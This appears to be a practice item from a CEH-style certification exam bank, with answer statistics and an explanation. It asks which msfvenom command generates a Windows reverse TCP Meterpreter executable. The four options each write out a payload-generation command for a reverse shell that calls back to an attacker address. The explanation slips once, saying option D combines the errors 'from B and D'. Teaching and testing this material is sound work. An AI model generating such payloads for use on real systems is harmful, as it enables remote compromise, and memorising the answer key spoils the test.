312-50V13 · Question #268
what is the correct way of using MSFvenom to generate a reverse TCP shellcode for windows?
The correct answer is C. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f exe >. MSFvenom Reverse TCP Shellcode Explanation Option C is correct because it uses LHOST (Local Host - the attacker's IP that the victim connects back to), the proper -f exe format flag to generate a Windows executable file, and the > redirect operator to output the payload to a…
Question
Options
- Amsfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f c
- Bmsfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f c
- Cmsfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f exe >
- Dmsfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f exe >
How the community answered
(44 responses)- A14% (6)
- B2% (1)
- C75% (33)
- D9% (4)
Explanation
MSFvenom Reverse TCP Shellcode Explanation
Option C is correct because it uses LHOST (Local Host - the attacker's IP that the victim connects back to), the proper -f exe format flag to generate a Windows executable file, and the > redirect operator to output the payload to a file, making it a fully deployable Windows reverse shell.
Why the distractors fail:
- Option A uses
-f c, which outputs raw C-language shellcode - useful for embedding in exploit code, but not a standalone Windows executable ready for deployment. - Option B incorrectly uses
RHOST(Remote Host) instead ofLHOST; since this is a reverse shell, the victim initiates the connection back to the attacker's machine, so the attacker's IP must be set withLHOST. - Option D combines both errors from B and D - it uses
RHOSTinstead ofLHOST, making the payload non-functional despite having the correct-f exe >syntax.
Memory Tip: Think "Reverse = LHOST"** - in a Reverse shell, the victim calls back to you, so you set LHOST (your local/listening address). If you use RHOST, you're thinking like a bind shell, which is the opposite direction.
Topics
Community Discussion
No community discussion yet for this question.